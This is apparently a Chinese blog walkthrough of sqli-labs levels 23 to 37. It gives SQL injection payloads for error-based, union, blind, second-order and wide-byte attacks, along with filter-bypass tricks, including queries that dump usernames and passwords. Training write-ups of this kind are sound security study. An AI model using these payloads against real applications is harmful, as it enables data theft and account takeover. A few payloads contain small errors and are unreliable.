第二部分来啦~~

Less-23 注释符绕过

输入1’出现如下报错信息:

1
''1'' LIMIT 0,1' at line 1

可猜测源码中可能为’$id’

当构造id=1’ and ‘1’=’1 时正常,而id=1’ and ‘1’=’1’#或者id=1’ and ‘1’=’1’–+ 时报错,发现是对#和–+等注释符进行了过滤。

注释符绕过只能构造一个单引号来闭合后面的但引号。

利用报错注入:

23.1获取数据库用户名

1
2
3
payload:

id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

23.2获取数据库名

1
2
3
payload:

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

或者使用:

1
id=1' and info() and '1'='1

23.3获取表名

其实我报错函数我比较喜欢用updatexml(),但是呢,当它只能显示32长度的内容,绕过获取的内容超过32字符就要采用字符串截取的方式。然后每次获取32字符串的内容。

比如:

1
2
3
payload:

id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(table_name),1,31) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

然后接着获取:

1
id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(table_name),32,62) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

啊还有一小节,再来一个:

1
id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(table_name),63,93) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

好了,完工。

其实吧,该说不说,上面这种可能直接手工注入的时候会容易记忆一点,但如果要写成测试脚本的话,就还是使用floor()函数,比较好:

1
id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2))) and '1'='1

好的,亏我以为floor()函数能一次性查出来所有的,原来也只能查到64字节,那剩下的字节就还是用substr()函数查出来吧。

Less-24 二次注入

本关为二次注入。

二次注入含义:将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。

大致原理:先创建一个用户admin’#,再登录这个账号修改密码。原来的密码那里可以任意输,新密码自己设定。修改完成后会发现成功修改了已有账号admin的密码。

24.1先创建一个admin’#的账号

24.2登录admin’#的账号,并修改密码为123456。原来的密码可以随便输,因为会被注释掉。

在源代码中的sql语句为:

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

即如果我们修改admin’#的密码会变成:

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

所以我们就可以变成修改admin的密码了。

24.3可以看到数据库中,admin的密码由原来的admin被改成了我们所修改的123456

and和or绕过(Less-25~Less25a)

Less-25

本关对or和and进行了过滤。要绕过or和and,构造其他的注入语句。

方法一:

尝试双写绕过。即双写关键字,可将and写为anandd,or写成oorr,发现成功绕过了耶。

方法二:

可尝试将and替换成&&,or替换成||。这里我试了一下用||可以,但&&不可以,因为&在数据包里面相当于里面的参数连接符,可以将&&进行url编码成%26%26使用。

这里采用双写绕过并利用报错注入:

①获取数据库用户名

1
2
3
payload:

id=1' anandd updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

②获取数据库名

1
2
3
payload:

id=1' anandd info()--+

或者使用:

1
id=1' anandd updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

Less-25a

本关错误时不会显示错在哪里了,所以不能采用报错注入。并且也对and和or进行了过滤。

当使用id=1 || 1=1出现正确信息,说明在源码中id=$id。

可以使用延时注入和布尔盲注。

这里还是用anandd双写来代替and,下面采用基于布尔的盲注:

①获取数据库用户名

1
2
3
payload:

id=1 anandd substr(user(),1,1)='a'

当字母正确时,会出现正确的页面,当字母不正确时,会出现不正确的页面。也可以用burp抓包,对substr的第一个1和字母a进行爆破。

②获取数据库名

1
2
3
payload:

id=1 anandd substr(database(),1,1)='a'

当字母正确时,会出现正确的页面,当字母不正确时,会出现不正确的页面。也可以用burp抓包,对substr的第一个1和字母a进行爆破。

空格字符绕过(Less-26~Less26a)

Less-26

本关将or,and,空格,/*,#,–,/等各种字符就进行了过滤。

空格字符绕过:

1
%20 %09 %0a %0b %0c %0d %a0 /**/ +

本关可以用报错注入:

①获得数据库用户名

1
2
3
payload:

id=1'+||+updatexml(1,concat(0x7e,user(),0x7e),1)+||+'1

②获得数据库名

1
2
3
4
5
6
7
payload:

id=1'+||+info()+||+'1

或者

id=1'+||+updatexml(1,concat(0x7e,database(),0x7e),1)+||+'1

Less-26a

本关过滤的字符跟第二十六关一样,闭合方式是’) 并且不能用报错注入了,因为不会显示错在哪里了。可以采用union联合注入或盲注。

下面采用union联合注入:

①获得数据库名

1
2
3
payload:

id=999')+union%0bselect%0b1,database(),3+||('1

这里的999为一个不存在的值,%0b可以用%a0代替,其他不行,可能是系统问题。

②获得用户名

1
2
3
payload:

id=999')+union%0bselect%0b1,user(),3+||('1

③获得表名

1
2
3
payload:

id=id=999')+union%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()||('1

union和select绕过(Less-27~Less-28a)

Less-27

本关主要是union、select字符和26关过滤掉的字符。

如果要用到union和select的话,可以使用大小写混写或者双写关键字绕过。

可以采用报错注入:

①获得数据库用户名

1
2
3
payload:

id=1'+and%a0updatexml(1,concat(0x7e,user(),0x7e),1)+and+'1

②获得数据库名:

1
2
3
4
5
6
7
payload:

1'+and%a0info()+and+'1

或者

id=1'+and%a0updatexml(1,concat(0x7e,database(),0x7e),1)+and+'1

Less-27a

本关过滤的字符跟第二十七关一样,闭合方式为”并且不能采用报错注入了。

可以采用union联合注入(union和select大小写混写):

①获得数据库用户名

1
2
3
payload:

id=999"+UniOn%a0SeLect%a01,user(),3+||+"1

②获得数据库名

1
2
3
payload:

id=999"+UniOn%a0SeLect%a01,database(),3+||+"1

Less-28

本关第二十七差不多,只是闭合的方式是’)

①获取数据库名:

1
2
3
payload:

id=999') union%a0select%a01,database(),3+||+('1

②获得数据库用户名

1
2
3
payload:

id=999') union%a0select%a01,user(),3+||+('1

Less-28a

用第二十八关的payload一样可以

HPP(HTTP Parameter Pollution),http 参数污染(Less29~Less-31)

这三关是要搭建环境才能实现的。好像要在Ubuntu下,并且要下载tomcat,jdk等等。想了想,了解下原理,还是在PHP环境下绕过得了。

这里的两层架构的工作流程为:

client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

这里需要注意的就是:

index.php?id=1&id=2,在Apache(php)解析最后一个参数,Tomcat(jsp)解析第一个参数。那先经过Tomcat再到Apache的也是显示最后一个参数。

Less-29

这里使用一个单引号报错,使用两个单引号正常。

(1)直接用报错注入

①得到数据库用户名

1
2
3
payload:

id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

②获取数据库名

1
2
3
payload:

id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
 

(2)使用联合注入

其实吧,我一般不怎么用union,因为还要先判断字段和注入点。好久没用了,还是用一下吧。

①先判断有几个字段

当输到id=1’ order by 4–+时报错,说明有三个字段

②找注入点

id=-1’ union select  1,2,3–+

可以看到在2,3的位置都可以写注入语句。

③构造union语句

29.1获得数据库用户名

1
2
3
payload:

id=-1' union select  1,2,user()--+

29.2获得数据库名

1
2
3
payload:

id=-1' union select  1,2,database()--+

29.3获得表名

1
2
3
payload:

id=-1' union select  1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

29.4获得字段名

1
2
3
payload:

id=-1' union select  1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

29.5获取用户名和密码

1
2
3
payload:

id=-1' union select  1,2,(select group_concat(username,0x3a,password) from users limit 1)--+

Less-30

这一关不显示报错信息,不能用报错注入了,但还是可以用union联合注入的,payload跟第二十九的一样,只需要将第二十九关的union联合注入的’换成”即可

Less-31

这关跟二十九关也一样,只需要将’换成”)即可,对于报错注入和union联合注入都能用。

宽字节注入(Less-32~Less-37)

这几关是针对’和\的过滤。在这里,会将’转换为'

宽字节注入产生的原因:数据库编码与PHP编码设置为不同的两个编码。

Big5和GBK字符集有可能会存在宽字节注入,utf-8和gb2312没有。Mysql在使用GBK编码时,会认为两个字符为一个汉字。

思路一:%df吃掉\ 原因在于urldecode(‘)=%5c%27,而我们在前面添加%df,就形成了%df%5c%27,mysql在GBK编码中前两个字当做一个汉字,此时%27就会作为一个单独的字符,也就是’

思路二:将'中的\过滤掉。可以构造%**%5c%5c%27,后面的%5c会被前面的%5c给注释掉。

Less-32

本关将’转换为',我们利用%df消掉生成的那个\。

采用报错注入:

①获得数据库名

1
2
3
4
5
6
7
payload:

id=1%df' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

或者

id=1%df' and info()--+

②获得数据库用户名

1
2
3
payload:

1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

Less-33

本关的payload和第三十二关一样。

Less-34

本关是post型的注入。

这里不能用%df绕过了,因为这里不是get方式不会经过urldecode,可以考虑将utf-8转换成utf-16。例如将’转为utf-16为�’

然后可以采用报错注入:

在用户框输入payload:

1
1�' or updatexml(1,concat(0x7e,user(),0x7e),1)#

即可获得数据库用户名。

Less-35

本关源码中id=$id,所以不用输单引号,也就不用考虑单引号转义的问题了。

采用union联合注入

1
2
3
payload:

id=-1 union select 1,2,user()

即可获得数据库用户名

Less-36

本关还是可以用%df绕过,payload和第三十二关一样。

Less-37

本关一样可以将单引号转换为utf-16,payload和第三十四关一样。